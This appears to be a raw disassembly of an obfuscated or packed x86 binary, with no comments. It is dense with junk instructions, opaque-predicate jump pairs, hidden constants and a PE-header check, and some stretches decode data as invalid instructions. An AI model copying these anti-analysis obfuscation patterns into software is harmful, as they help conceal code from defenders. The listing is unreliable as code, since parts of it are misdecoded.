rcr dh, cl
xchg byte [esp + 3], dh
push bx
mov ax, 0x4089
push word [esp + 7]
mov esi, 0x1c9679e1
and al, 0x14
mov dh, 0xf
mov si, word [esp + 7]
mov si, 0xba8
bt eax, ebx
lea edx, [edi + ebp]
lea esi, [eax + 0x673e]
bsf eax, eax
mov esi, dword [esp + 8]
lea esp, [esp + 5]
dec al
clc
mov byte [esp], bl
xchg ah, dl
and ax, dx
not eax
mov word [esp + 3], cx
push word [esp + 2]
mov byte [esp + 5], ah
mov byte [esp + 3], ch
pop dx
stc
add esi, esi
neg edx
push dword [esp]
bts esi, edx
sub esp, 0x14
pop edx
mov dh, bl
pop word [esp + 4]
mov byte [esp + 1], al
mov word [esp + 0xb], cx
xchg edx, esi
pop esi
lea eax, [ecx + ebp]
mov si, ax
bts edx, esi
mov esi, 0x68021a5b
bsf ax, bp
pushal
lea eax, [eax + 0x12a3]
lea edx, [ecx + esi]
mov edx, 0x54b02a48
bt esi, eax
neg eax
xchg dword [esp + 5], eax
mov ah, byte [esp + 0x19]
neg dx
bswap edx
mov dh, 0xcb
pop dword [esp + 0x14]
mov byte [esp + 0x22], bl
xchg esi, edx
pop si
pop dword [esp + 3]
xchg esi, eax
bswap ax
push dword [esp + 0x22]
xchg dx, ax
mov dx, word [esp + 0x1f]
push dword [esp + 0x1e]
mov edx, esp
sub esp, 0x12
cld
pop word [esp + 0x2d]
mov si, 0x6c0a
bswap esi
lea esp, [esp + 9]
push dword [esp + 6]
lea eax, [edx + esi]
mov ax, di
push dword [esp + 4]
push ecx
mov dh, bh
mov dh, 0xeb
mov ax, si
pop dword [esp + 0x10]
lea edx, [esi*4]
mov eax, esp
pop dword [esp + 0x2c]
xchg dword [esp + 0x26], esi
shl si, cl
pop si
lea esi, [edx - 0x1c85]
mov esi, ecx
mov word [esp + 0x22], sp
add esp, 5
mov edx, dword [esp + 0x19]
pop dx
push dword [esp + 0x1b]
mov edx, ebp
pop ax
xchg dword [esp + 3], eax
pop dword [esp + 0x19]
push bp
mov edx, dword [esp + 0x25]
mov edx, edi
pop word [esp + 8]
mov eax, 0x7b601ace
btr dx, bp
mov esi, dword [esp + 0xd]
lea esp, [esp + 5]
setno dh
xchg esi, edx
lea edx, [ebx + ebx]
lea eax, [ebx*4]
mov esi, dword [esp + 0x26]
xchg byte [esp + 0x11], dh
xchg dx, ax
lea eax, [ecx + ebx]
bswap edx
mov dx, word [esp]
bswap edx
mov word [esp + 0x1a], dx
pop dword [esp + 0x20]
stc
inc dx
lea esi, [esi*4]
mov dh, byte [esp + 0xa]
not dx
rcl edx, 0x1e
mov dword [esp + 2], ecx
pop word [esp + 0xb]
push dword [esp + 0x18]
xchg byte [esp + 0xa], dh
bt esi, esi
sub esp, 3
not edx
xchg word [esp + 0x28], dx
sub edx, 0x140430c
mov ax, word [esp + 8]
xchg byte [esp + 0x15], dh
push dword [esp + 0x2c]
bsf esi, ebp
push dword [esp + 0x15]
sub esp, 0x1d
lea esp, [esp + 0x53]
lea eax, [eax + esi]
bswap eax
mov eax, dword [esp]
cld
mov dh, byte [esp]
setg dh
lea edx, [eax + ebx]
lea esi, [0xd46010b]
btr si, si
neg eax
xchg dh, ah
clc
not dh
not si
lea eax, [edi*4]
mov dh, byte [esp]
lea esi, [ebx + esi]
sub esp, 0xd
pop ax
mov dx, 0x6d85
xchg si, dx
neg edx
sub esp, 0x1c
sub esp, 0x11
pop dword [esp + 0x2d]
sub esp, 0x11
setg dh
pop word [esp + 5]
rol ax, 0
push edx
mov eax, 0x5f5a4957
lea eax, [edi + 0x38]
mov dx, ax
bswap esi
mov dh, 0x11
not edx
mov dx, di
mov dh, bh
inc edx
mov word [esp + 3], sp
mov word [esp + 0x29], bx
rcl edx, cl
add esp, 0x2c
mov byte [esp + 8], bl
xchg dword [esp + 0xd], edx
pushal
xchg dh, al
bswap eax
bswap esi
pop esi
mov dword [esp + 2], ecx
mov dh, 0xb0
sub esp, 0xa
rcl dh, cl
neg ah
lea esi, [edx*4]
mov si, bx
mov dword [esp + 0x23], edi
mov dx, si
pop dword [esp + 0x2d]
bswap si
mov dword [esp + 0x2b], ecx
mov dl, 0x3c
push dword [esp + 0x23]
xchg byte [esp + 0x3f], dh
xchg dx, si
mov edx, dword [esp + 0xf]
mov byte [esp + 9], bh
lea esi, [esp + edi]
add esp, 6
mov edx, 0x7b86321c
setns al
mov dx, word [esp + 0x21]
mov si, word [esp + 0x2a]
push dx
mov word [esp + 4], bx
mov eax, 0x750d507c
bswap dx
mov eax, dword [esp + 0x26]
bsr esi, esi
mov dl, dh
bswap dx
bsf ax, bp
setnp dh
btc ax, sp
mov ax, word [esp + 0x23]
shr dh, cl
xchg word [esp + 6], si
dec ah
bswap edx
mov ax, word [esp + 5]
mov dword [esp + 0x2d], ebx
bswap edx
mov dh, dl
mov dx, di
neg dl
xchg edx, esi
mov esi, dword [esp + 4]
pop dword [esp + 0x1d]
btc ax, dx
lea eax, [0x762e5450]
pop si
xchg si, ax
xchg dl, al
push word [esp + 0x13]
bswap dx
pop ax
pop ax
push word [esp + 0x1c]
mov eax, esp
mov dword [esp + 0xe], ebx
sub esp, 8
rcr esi, cl
push dword [esp + 0x17]
xchg edx, eax
bt ax, di
lea edx, [esp + 0x40e07c17]
mov dh, byte [esp + 0x1a]
pop eax
btr eax, ebp
xchg word [esp + 8], si
shl dh, 1
mov ax, word [esp + 0x2c]
pop word [esp + 0x1d]
lea eax, [ebx - 9]
xor dx, di
mov eax, ebx
push word [esp + 0x36]
pop eax
bswap ax
bswap eax
mov dh, byte [esp + 0x35]
pop ax
bswap ax
mov si, di
not si
bsr edx, eax
push dword [esp + 0x2f]
mov dx, 0x21e9
setl dh
pop edx
stc
push eax
rol ax, 0
mov byte [esp + 0x29], bl
clc
add esp, 0x13
mov dl, ah
lea edx, [eax*4]
lea edx, [eax*4]
push dword [esp + 0xe]
mov ah, 0xde
sub ax, 0x3851
sub esp, 0x1d
mov ah, byte [esp + 0x1e]
bswap dx
mov dh, al
rcl dx, cl
mov byte [esp + 0x36], bl
xchg byte [esp + 0xc], dh
bsf si, cx
sub esp, 0x13
lea esp, [esp + 0x5e]
mov dh, 0xac
inc dh
mov esi, dword [esp]
setae al
lea edx, [eax + eax]
lea eax, [ebx - 0x47]
xchg dh, ah
mov esi, 0x20fc522f
mov edx, 0x26d2087f
mov dx, word [esp]
neg si
setnp dh
mov ax, word [esp]
push esi
bswap eax
lea esi, [ecx*4]
mov ax, 0x5132
mov word [esp + 1], bp
setb ah
lea edx, [eax*4]
mov ah, byte [esp]
mov ah, 0x64
setl dh
lea esp, [esp + 2]
bsr ax, si
xchg esi, eax
mov dh, byte [esp + 1]
mov eax, 0x7f1564bf
lea esi, [ecx + ebx]
dec edx
mov eax, dword [esp]
clc
pop dx
xor dh, dh
btr esi, eax
mov edx, 0x6317104a
ror dh, 4
mov esi, 0x2c1e7bc8
mov dx, di
mov si, 0x40dc
mov dh, al
bswap ax
lea eax, [eax + 0x1fca]
mov eax, ebx
btr dx, cx
mov dh, 0xe5
mov si, word [esp]
mov dh, byte [esp]
mov ax, 0x2792
mov al, byte [esp]
mov dx, 0x25
neg eax
sub esp, 6
add esp, 3
push word [esp]
bts eax, ebx
mov eax, edi
push dword [esp + 1]
mov edx, 0x2c110911
mov dl, bh
mov eax, edx
cld
pop dword [esp]
mov eax, ecx
xchg byte [esp + 2], dh
dec edx
xchg edx, eax
lea eax, [ecx*4]
mov byte [esp], dl
mov word [esp + 2], ax
bswap edx
pop ax
xchg byte [esp], dl
mov word [esp], di
btc ax, sp
mov edx, dword [esp]
bswap si
cmc
bsr edx, esp
mov al, byte [esp + 2]
bts eax, esp
ror eax, cl
inc edx
setle dh
rol eax, 0x18
bsf edx, ebx
neg esi
bswap si
pop dx
not ah
rcr esi, cl
mov dh, 0x95
xchg byte [esp], al
sbb eax, 0x788c4208
mov byte [esp], al
lea edx, [eax*4]
xchg byte [esp], dh
neg eax
mov ax, cx
mov eax, 0x535c6e2c
not eax
btr dx, si
mov ax, cx
bswap si
mov dh, byte [esp]
xchg si, ax
xchg byte [esp], al
lea edx, [ebx - 0x1409]
shl eax, cl
shr si, 1
setnp dh
shr dx, cl
lea edx, [edx + ebx]
mov eax, dword [esp]
bswap ax
setne ah
mov dh, ch
lea esp, [esp]
btc dx, cx
mov ax, 0x26e7
lea esi, [edx + edx]
mov byte [esp], bl
lea esi, [edi + edi]
mov byte [esp], ch
btc ax, ax
inc esi
bt dx, ax
cmc
mov dl, 0x6b
lea eax, [edi + edi]
mov ax, 0x7a43
neg dh
xchg byte [esp], al
cld
xchg edx, eax
mov edx, ecx
mov byte [esp], dh
rcr eax, 0x13
mov byte [esp], al
stc
setnp dh
mov ax, cx
mov dx, word [esp]
neg ax
sub esp, 0x15
mov word [esp + 0xd], bp
mov dl, byte [esp + 0xb]
dec si
add esp, 0x15
mov edx, dword [esp]
mov dh, 0xaf
add esp, 0
sub esp, 6
not eax
add esp, 1
lea edx, [esp + ecx]
mov esi, dword [esp + 1]
bt edx, edx
mov si, 0x4d54
mov esi, dword [esp + 5]
bsr dx, dx
mov dh, 0xe6
pop word [esp]
mov eax, ebx
mov esi, 0x10025596
mov dx, 0x76e9
push word [esp + 2]
setle dh
mov ax, 0xb7b
neg si
pop esi
sub esp, 0x1e
xchg dword [esp + 1], eax
neg si
shr dl, cl
pop word [esp + 0xa]
pop word [esp + 5]
dec al
pop edx
not esi
pop dword [esp + 4]
push di
mov esi, 0x1e2210cc
push bx
lea esi, [esi + ebp]
dec si
xchg word [esp + 0xa], ax
mov byte [esp + 6], bh
xchg dl, dh
pop dx
mov word [esp + 0xd], dx
push ax
or dx, sp
mov dx, 0x544c
lea esi, [ebx*4]
push dword [esp]
mov dx, 0x1230
xchg byte [esp + 0x11], dh
neg dh
push dword [esp + 0x18]
mov esi, 0x451a1d46
lea esp, [esp + 7]
push dword [esp + 1]
mov esi, eax
btc ax, cx
mov dh, byte [esp + 3]
mov ah, 0xe3
mov edx, esi
push word [esp + 4]
lea esi, [ecx*4]
mov dx, 0x6fc
mov dx, 0x623b
mov si, di
mov edx, ecx
pop dword [esp + 0x11]
add esp, 0x14
mov si, 0x4e1c
bswap eax
rcl dx, 0xf
sub esp, 0x10
mov dh, ch
pop dword [esp + 1]
bswap ax
bsr ax, dx
xchg byte [esp + 3], al
xchg si, dx
btc edx, esi
push dword [esp + 5]
add esp, 9
xor esi, ebp
mov ah, cl
push word [esp]
mov si, di
and al, 0xf2
mov dh, 0xb
lea edx, [esp + 0x64]
sub dh, 0x3f
mov dl, 0x98
bswap eax
pop word [esp + 0xb]
mov eax, 0xfa0058d
lea esi, [esp + ebp]
xchg dx, ax
mov dx, di
mov eax, dword [esp + 0xa]
bswap ax
inc edx
xchg byte [esp + 0xa], dh
lea eax, [ecx - 0x27c4]
lea edx, [edx + edi]
lea esp, [esp + 4]
xchg dx, ax
mov al, byte [esp + 5]
add esp, 5
mov word [esp], dx
lea esp, [esp]
xchg esi, edx
xchg word [esp], ax
lea edx, [ecx*4]
sets dh
mov word [esp], sp
mov dh, cl
mov dword [esp], edx
mov si, 0xa58
mov word [esp + 1], bx
bts ax, cx
mov si, cx
rcr al, cl
stc
neg dx
mov ax, 0x3ab
lea esi, [ebx + 0x1893]
neg dh
push dword [esp + 3]
mov dword [esp + 2], ecx
bswap si
neg edx
mov dh, byte [esp + 3]
add esp, 5
mov dl, 0xd0
mov esi, dword [esp + 2]
mov ax, si
add esp, 2
cld
mov ax, word [esp]
lea eax, [eax + 0x7f]
mov edx, 0x7cd336da
neg dh
xchg si, ax
mov esi, 0x1743252e
lea esp, [esp + 1]
mov esi, dword [esp]
mov dh, 0xbb
mov esi, ecx
lea edx, [esi + edi]
btr edx, esp
mov si, word [esp]
mov ax, 0x718
setg dh
lea esp, [esp]
lea edx, [edx + edi]
btc ax, sp
lea edx, [ebx + 0x65b8710f]
mov edx, ecx
bswap ax
mov edx, 0x423873c5
mov dh, byte [esp]
mov dh, al
not dh
sub esp, 0xd
push dword [esp + 9]
not esi
inc al
lea esi, [esi - 0x3b58]
mov edx, 0x448c3201
neg si
pop ax
pop word [esp]
cld
xchg byte [esp + 0xa], ah
mov byte [esp + 6], bl
mov eax, edi
cmc
sub esp, 3
mov ah, byte [esp + 0xe]
push bx
btr ax, si
mov ah, 0x3f
rcr eax, cl
not si
btc edx, ebx
stc
not edx
push dword [esp + 0x12]
lea edx, [edi*4]
ror ax, cl
mov si, 0x653
mov esi, 0x61c68de
shl dh, 7
bswap esi
bswap edx
push word [esp + 0x16]
not ax
mov si, 0x4c8a
bsf esi, edi
mov eax, 0x7dc4097e
mov dx, word [esp + 9]
pop dword [esp + 0xb]
setno dh
bsr esi, esp
pop word [esp + 2]
bsf edx, ebp
lea esp, [esp + 7]
lea eax, [ebp*4]
xchg word [esp + 6], si
pop eax
setae dl
mov byte [esp + 1], ah
bswap ax
pop word [esp + 3]
shl si, 9
pop ax
pushfd
xchg esi, eax
lea eax, [ebx - 0x1f]
xchg edx, eax
neg ax
mov dh, 0x63
not si
push dword [esp + 5]
sub esp, 0x1b
xchg byte [esp + 0x25], al
pop esi
xchg dword [esp + 0x1e], esi
mov edx, esi
pop dword [esp + 4]
mov ah, 0x25
mov dword [esp + 0x1a], edx
mov byte [esp + 2], ah
setp dl
mov byte [esp + 5], cl
push word [esp + 0x1d]
bswap si
mov dl, byte [esp + 9]
pop edx
inc edx
xchg byte [esp + 0x10], dh
or esi, 0x2b526761
mov si, word [esp + 0x1b]
mov dh, 0x75
mov edx, dword [esp + 0x13]
pushfd
xchg word [esp + 0x15], ax
mov edx, ebp
bswap eax
setne dh
lea esi, [ebp*4]
mov esi, 0x663035b9
btr ax, dx
xchg dword [esp + 0x16], edx
mov dl, 0xdf
bswap si
mov word [esp + 3], di
mov dh, 0x3d
bswap esi
pop esi
xchg dword [esp + 5], eax
lea edx, [esi + 0x35a8]
xchg dword [esp + 1], eax
bsf edx, ebx
push ebx
sub esp, 0xb
inc edx
mov word [esp + 0x1c], si
push word [esp + 0x25]
xchg word [esp + 0x21], ax
setg ah
mov dh, ah
sub dl, 0x41
xchg byte [esp + 0x17], al
sbb si, 0x4c6a
mov dh, byte [esp + 0x26]
xchg si, ax
shl dx, 1
btc ax, bx
xchg byte [esp + 0x18], dl
sub esp, 4
clc
mov dword [esp + 0x2c], ebp
xchg si, dx
mov eax, 0x705d23d6
mov dword [esp + 1], edx
not eax
mov dh, byte [esp + 0xa]
neg si
not dh
pop word [esp + 0xd]
mov ax, 0x2eb6
bsr esi, esp
rol si, 0xa
bsf eax, esp
mov ax, di
mov ax, 0x131d
xchg byte [esp + 1], al
mov eax, ecx
mov dword [esp + 0xb], esi
mov dh, dl
pop dword [esp + 0x23]
xchg word [esp + 0x1e], si
inc edx
pop esi
mov ax, 0x14a2
mov word [esp + 6], ax
mov dx, 0xad7
add esp, 0x23
xchg byte [esp + 1], dh
pop word [esp]
ror si, 8
sub esp, 8
mov edx, dword [esp + 1]
bswap esi
bsr dx, dx
xchg word [esp + 4], ax
mov word [esp + 2], bx
mov eax, ebp
pop dword [esp]
xchg dl, dh
mov dx, 0x3e8f
add esp, 4
bsf edx, esp
sub esp, 0x1b
lea edx, [eax + eax]
inc edx
add esp, 0xd
pop ax
lea eax, [edi + ebp]
pop si
not dl
lea esi, [eax + edi]
lea esi, [0x19325fb2]
lea esp, [esp + 0xa]
add esp, 0
mov ax, 0x1cf9
lea esp, [esp + 1]
mov dh, 0x91
xchg word [esp], dx
rcr edx, cl
neg si
xchg word [esp], si
push word [esp + 1]
or dh, dl
mov dh, byte [esp + 2]
xchg edx, eax
xchg word [esp + 1], ax
mov al, 0xf2
pushal
xchg esi, eax
add esp, 0x21
not al
mov dh, byte [esp + 1]
xchg dx, ax
not esi
mov ah, 0x85
lea eax, [ecx*4]
xchg byte [esp + 1], dh
btc esi, eax
not esi
pushal
cld
mov al, byte [esp + 8]
mov edx, dword [esp + 2]
bswap edx
pop dword [esp + 0x11]
mov dh, 0xb1
mov si, ax
lea eax, [0x12842090]
xchg si, ax
push dword [esp + 0x1d]
neg ax
neg ax
dec dx
btc esi, ecx
xchg dword [esp + 0x15], edx
clc
mov dx, word [esp + 8]
and eax, edi
bsf ax, bp
bswap esi
mov dh, byte [esp + 0x1e]
add esp, 0x1f
sub esp, 7
lea esi, [ecx + esi]
mov dh, 0x54
lea esp, [esp]
btr si, ax
cld
xchg edx, eax
mov dword [esp + 2], eax
setb dh
mov dword [esp + 4], eax
bsf dx, sp
bsr edx, esp
xchg word [esp + 5], si
xchg dword [esp + 6], esi
pushal
cld
mov dword [esp + 0x16], eax
mov dh, byte [esp + 0x18]
not eax
push dword [esp + 8]
bswap dx
lea esp, [esp + 0x10]
mov esi, 0x2c6f65b0
pop word [esp + 0x15]
bswap edx
pop esi
mov si, 0x4b74
mov byte [esp + 0x10], ch
mov dx, word [esp + 0x17]
clc
mov esi, 0x15e5656a
lea esi, [ebx + esi]
lea edx, [edx + 0x605e2c02]
mov byte [esp + 0xb], al
mov edx, ebp
mov edx, dword [esp + 9]
xchg esi, edx
add esp, 7
pop ax
pop eax
lea esi, [ebp + 0x49d4]
push word [esp + 4]
pop esi
xchg word [esp], dx
mov si, 0x218a
setp dl
bsr eax, esi
push word [esp + 8]
push ebx
bswap dx
xchg byte [esp + 8], dh
mov byte [esp + 2], dh
xchg dh, dl
mov dh, byte [esp + 3]
lea edx, [esp - 0xe3]
lea eax, [edx + 0x66]
mov esi, ebx
pop eax
xchg dx, si
lea eax, [edi + 0x7696f34]
mov dword [esp + 7], ebx
mov al, byte [esp + 0xb]
push word [esp + 6]
shl ax, 1
pop dword [esp + 4]
xchg word [esp + 3], dx
pop ax
pop edx
lea eax, [0x38bb3d02]
push ax
bsf ax, si
mov si, word [esp + 4]
not si
not dh
push edx
pop dword [esp]
neg ax
xor ah, bh
lea esi, [esi - 0x45]
lea esi, [edx + ebx]
lea esi, [eax + 0xac]
lea eax, [0x66885e3c]
add esp, 5
not si
mov ax, word [esp]
setg al
cld
xchg esi, eax
or edx, 0x31056b43
xchg dx, si
mov eax, 0x442458ba
mov dh, byte [esp]
clc
mov dh, 0x39
xchg byte [esp], dh
bsf si, sp
cmc
neg dh
mov edx, 0x6ecb0b5d
xchg al, dh
mov al, 0x90
mov byte [esp], ch
mov esi, 0x258e7647
cmc
jno 0x76b0d2
jo 0x76b0d2
in eax, 0x9d
retf
push dword [esp + 5]
mov word [esp + 0x16], cx
mov dword [esp + 0x1b], edx
mov byte [esp + 0x1f], dh
push word [esp + 0xc]
mov byte [esp + 7], bl
mov byte [esp + 0x13], al
mov byte [esp], al
pushal
pop word [esp + 0x1a]
jp 0x7bc17d
jnp 0x7bc17d
mov ebp, 0xff668b76
je 0x7bc04e
push word [esp + 0x14]
pushal
adc al, 0x60
mov dword [esp + 0x1a], edi
push edx
push dword [esp + 0x32]
pop dword [esp + 0x22]
lea esp, [esp + 0x1c]
mov word [esp + 0xe], sp
jg 0x7bbff0
jle 0x7bbff0
invalid
shl dword [esi + 0x66], 1
push dword [esp + 0x13]
push word [esp + 0x13]
pop dword [esp + 7]
mov byte [esp], ch
pop dword [esp + 3]
mov dword [esp + 0xc], esi
push word [esp + 3]
pushfd
mov dword [esp + 3], edi
mov byte [esp], dl
mov word [esp + 0x17], cx
pop dword [esp + 0x13]
mov byte [esp + 0xa], ch
pop word [esp + 1]
jp 0x7bc026
jnp 0x7bc026
out 0x60, al
not byte [ecx + 0x1538960]
test al, 0x88
cmp al, 0x24
mov byte [esp], bh
mov word [esp], ax
mov dword [esp], edi
push word [esp]
mov word [esp], si
mov word [esp + 2], bp
pop word [esp + 1]
push word [esp + 4]
push sp
push dx
mov byte [esp], bl
push bx
push word [esp]
mov word [esp + 5], ax
push si
pop dword [esp]
mov word [esp + 8], ax
push dword [esp + 8]
mov dword [esp + 0xa], edi
push word [esp + 2]
push word [esp + 3]
mov byte [esp + 0xa], ah
mov word [esp + 0x10], bx
mov word [esp + 0x11], sp
push word [esp + 0x10]
mov dword [esp + 1], ecx
pushal
push word [esp + 0x22]
pop word [esp + 0xb]
pop dword [esp + 3]
push word [esp + 5]
push word [esp + 5]
lea esp, [esp + 0x22]
pop dword [esp + 0xa]
pop word [esp + 2]
push esp
push word [esp + 1]
mov byte [esp + 6], dl
mov byte [esp + 6], dl
pop word [esp + 3]
push word [esp + 0xa]
lea esp, [esp + 1]
lea esp, [esp + 0x14]
call fcn.0060fb94
ret 4
pop word [esp + 0x15]
mov word [esp + 0x20], sp
pop word [esp + 0x24]
lea esp, [esp + 0x1b]
pop word [esp + 6]
mov dword [esp + 4], edi
push dword [esp]
lea esp, [esp + 4]
mov dword [esp + 0xa], ecx
jl 0x7be3d0
jge 0x7be3d0
xchg ecx, eax
push 0xff31859c
je 0x7bc1a4
push dword [esp + 4]
lea esp, [esp + 6]
add al, 0x8d
and al, 6
pop word [esp + 0x36]
pop word [esp + 0x1e]
mov word [esp + 0x31], sp
push dword [esp + 0x34]
push word [esp + 0x12]
push si
lea esp, [esp + 0x1b]
push word [esp + 0x1e]
push dword [esp + 0x1e]
push word [esp + 0x2b]
mov byte [esp + 4], cl
mov word [esp + 0x1d], ax
push dword [esp + 0x2c]
mov byte [esp + 0xa], ah
jne 0x7bc145
je 0x7bc145
and esp, dword [edx + edi - 0x30b353a3]
dec ecx
fnstcw word [eax - 0x76ee58b5]
insb byte es:[edi], dx
and al, 6
mov dword [esp + 6], ebp
setl ah
xchg edi, eax
mov eax, dword [esp]
mov al, byte [esp]
mov di, word [esp]
not ah
bswap edi
mov edi, 0x661d4636
mov ax, word [esp]
mov di, 0x6940
mov al, byte [esp]
mov al, cl
mov di, word [esp]
xchg di, ax
xchg edi, eax
bswap ax
setl al
setg al
mov bp, word [esp]
mov edi, ebx
mov ah, ch
mov ah, byte [esp]
mov al, dh
lea ebp, [esi + edi]
setae ah
mov al, bh
mov al, byte [esp]
lea edi, [ebx - 0x5c]
pushfd
push dword [esp]
xchg byte [esp + 6], al
xchg di, ax
xchg bp, ax
lea eax, [ebp - 0x4ed2]
pushfd
mov word [esp + 1], ax
mov edi, 0x67b701de
mov edi, 0xad66803
mov byte [esp], ah
pop ax
xchg byte [esp + 6], al
pop eax
lea eax, [ebp*4]
mov dword [esp], ebx
xchg byte [esp + 3], ah
mov di, word [esp + 4]
pop bp
pop edi
mov di, word [esp]
mov ah, al
mov al, 0x5b
mov al, dh
mov di, 0x6ac2
mov al, cl
mov edi, 0x6e962067
pushal
mov di, 0x475c
xchg ebp, eax
mov byte [esp + 8], bl
mov di, bx
pop edi
lea edi, [edi + edi]
xchg word [esp], bp
not bp
pop word [esp + 7]
mov di, 0x1fc5
pop dword [esp + 4]
mov al, byte [esp + 6]
mov ah, cl
bswap bp
bswap di
mov edi, edx
xchg dword [esp + 0xd], edi
xchg word [esp + 0xa], di
mov edi, dword [esp + 6]
pop dword [esp + 6]
xchg word [esp + 8], di
push ecx
mov di, word [esp + 0x11]
pop bp
mov byte [esp + 3], bh
mov di, bp
push dword [esp + 5]
xchg di, bp
not di
setns ah
mov ah, 0x2e
xchg edi, ebp
xchg dword [esp + 5], ebp
pop word [esp + 2]
mov ax, 0x38cd
pop eax
pop dword [esp + 8]
pop dword [esp + 4]
mov ah, dh
mov word [esp + 2], cx
pop edi
mov al, 0x33
xchg di, ax
mov ax, word [esp + 5]
lea esp, [esp + 2]
lea edi, [eax + 0xfd]
mov di, cx
mov di, 0xf13
bswap di
mov di, bx
lea ebp, [ecx + esi]
mov di, 0x229f
bswap edi
mov ebp, dword [esp + 0xa]
lea edi, [ecx*4]
lea edi, [ebx + 0x1e2d0857]
bswap edi
lea edi, [eax + 0x42576ea6]
mov edi, dword [esp]
mov edi, dword [esp]
bswap edi
mov edi, dword [esp + 0x14]
mov al, 0xd1
lea eax, [edi*4]
mov eax, 0x34953b99
bswap eax
xchg ah, al
mov al, byte [esp]
lea eax, [eax + 0x5e16d9a]
mov al, dh
push ebp
pop ax
lea esp, [esp + 2]
mov eax, dword [esp + 0x1b]
lea esp, [esp + 0x30]
push 0xb576cff5
add dword [esp], 0x4ac9300b
push ecx
lea esp, [esp + 1]
lea esp, [esp + 2]
mov byte [esp], cl
mov byte [esp], dh
mov byte [esp], bl
mov byte [esp], cl
push sp
push word [esp]
push dword [esp + 2]
push word [esp + 8]
pop word [esp + 1]
push edi
lea esp, [esp + 8]
push dword [esp]
push dword [esp + 4]
pop word [esp + 6]
lea esp, [esp + 9]
pushfd
push eax
mov dword [esp + 4], edi
push dword [esp + 7]
pop dword [esp + 4]
mov dword [esp + 4], edx
push esi
mov dword [esp + 8], ebx
pop dword [esp]
lea esp, [esp + 3]
pushal
mov dword [esp + 0x19], eax
mov byte [esp + 0x16], al
lea esp, [esp + 6]
pop dword [esp + 0x14]
pop dword [esp + 0xa]
push word [esp + 0xf]
mov dword [esp + 3], ebx
mov dword [esp + 8], ebx
lea esp, [esp + 0x19]
mov byte [esp], cl
mov byte [esp], dh
push word [esp + 1]
mov word [esp], bx
mov dword [esp], edi
push dword [esp + 2]
lea esp, [esp + 7]
lea esp, [esp]
pushal
mov word [esp + 0x10], bp
mov dword [esp + 8], esp
pop dword [esp + 0xa]
pop dword [esp + 7]
pushal
push dword [esp + 0x2c]
lea esp, [esp]
push dword [esp + 0x12]
mov dword [esp + 0xa], ecx
pushfd
lea esp, [esp + 0x40]
mov word [esp], cx
jno 0x7bc091
jo 0x7bc091
xchg edx, eax
das
push 0x36
dec ebx
push 0xd5f887ac
add dword [esp], 0x2a7e5628
pushal
lea esp, [esp + 4]
lea esp, [esp + 0xe]
lea esp, [esp + 0xa]
push dword [esp + 3]
mov word [esp + 5], bx
lea esp, [esp + 7]
push si
mov word [esp], di
lea esp, [esp + 2]
mov byte [esp], dh
mov byte [esp], dh
mov byte [esp], ah
mov byte [esp], al
lea esp, [esp]
mov byte [esp], al
lea esp, [esp]
push eax
mov word [esp + 2], di
mov word [esp + 2], sp
push si
pop word [esp + 2]
pop word [esp]
mov byte [esp + 1], dh
mov byte [esp + 1], ch
mov word [esp], cx
mov byte [esp], al
pushfd
push dword [esp + 2]
mov word [esp], cx
push dword [esp + 1]
push word [esp + 0xa]
push word [esp + 8]
lea esp, [esp]
push dword [esp + 0xe]
lea esp, [esp + 2]
push esp
mov dword [esp + 7], ebp
push word [esp + 0xd]
lea esp, [esp + 0xc]
lea esp, [esp]
lea esp, [esp + 3]
lea esp, [esp + 5]
mov word [esp + 3], di
push word [esp + 1]
push word [esp + 5]
mov word [esp], dx
mov word [esp + 6], cx
push word [esp + 5]
mov dword [esp + 1], edi
mov dword [esp + 8], ebp
mov dword [esp + 2], edx
pop word [esp + 4]
mov byte [esp + 1], ah
mov word [esp + 3], sp
push dword [esp + 5]
lea esp, [esp + 0xb]
lea esp, [esp + 2]
mov word [esp], di
lea esp, [esp]
push word [esp]
mov dword [esp], edi
mov dword [esp], esi
pushal
push word [esp + 4]
mov word [esp + 9], bp
push bp
push ecx
mov word [esp + 0x1f], si
mov word [esp + 0x1b], si
lea esp, [esp + 0x13]
mov byte [esp + 8], dl
lea esp, [esp + 0x12]
lea esp, [esp + 6]
lea esp, [esp]
pushal
pop dword [esp + 1]
mov dword [esp + 0xd], ecx
pop dword [esp + 0x11]
pop dword [esp + 0xc]
push dword [esp + 0xc]
push ebp
pop word [esp + 0x13]
mov byte [esp], ah
push dword [esp + 0x15]
mov dword [esp + 0x13], ecx
lea esp, [esp + 0xe]
pop word [esp + 7]
pop word [esp + 8]
mov byte [esp + 8], dl
pop dword [esp]
push word [esp + 2]
lea esp, [esp + 3]
mov byte [esp + 2], ah
pop dword [esp]
mov word [esp + 1], cx
pop word [esp]
push word [esp + 1]
push dword [esp + 1]
pop dword [esp]
lea esp, [esp + 4]
push dword [esp + 8]
pushfd
pushal
push edx
lea esp, [esp + 7]
pop word [esp + 0x14]
push word [esp]
push dword [esp + 0xe]
push word [esp + 0xe]
mov byte [esp + 0xa], ah
mov word [esp + 2], bp
mov word [esp + 0x19], sp
pop word [esp + 0x1b]
lea esp, [esp + 1]
mov dword [esp + 0xf], eax
bswap ax
setb ah
xchg al, ah
lea eax, [esi - 0x2cbf]
mov ah, cl
mov ah, byte [esp]
push esp
mov ax, word [esp + 2]
bswap ax
push dword [esp + 2]
mov word [esp + 3], bx
mov dword [esp + 0x10], edi
not ah
mov di, word [esp]
xchg al, ah
bswap edi
mov edi, 0x37841b2a
mov al, dl
mov edi, 0x28310783
mov eax, dword [esp]
mov di, word [esp]
mov eax, 0xbc6171b
lea edi, [esp + ecx]
mov edi, 0x4e9654e9
mov ah, 0xa4
jnp 0x7bc1cf
jp 0x7bc1cf
int 0x75
mov byte [0xb88342a1], al
adc eax, eax
arpl word [eax], ax
add byte [edi], cl
test byte [edx - 0x72000518], dh
and al, 8
cmp dword [eax + 0x63c013], 0
je 0x76af5f
lea esp, [esp + 8]
popal
jp 0x64001c
jnp 0x64001c
invalid
and al, 0xb1
and dword [eax - 0x4d], eax
sbb byte [ecx], dh
stosd dword es:[edi], eax
cmp ebx, dword [esi - 0x53]
sbb al, 0x85
adc byte [esi - 0x3c46ef1f], al
pop edi
iretd
adc byte [ecx - 0x5530a03d], bh
pop ecx
salc
or edx, dword [eax + 0x39906106]
xor ch, byte [edx + 0x1daa5f38]
jmp dword [esi - 0xc]
movzx ebx, word [eax + 0x3c]
pop eax
cmp al, 3
fsub dword [esi - 0x7f]
cmp edx, dword [eax + 0x45]
add ebx, eax
cmp word [ebx], 0x4550
je 0x76b03a
jne 0x7bc9b1
stc
js 0x7bc967
mov dword [eax - 0x66], edi
mov dword [edi - 0x29], 0xdaa641b2
arpl bx, si
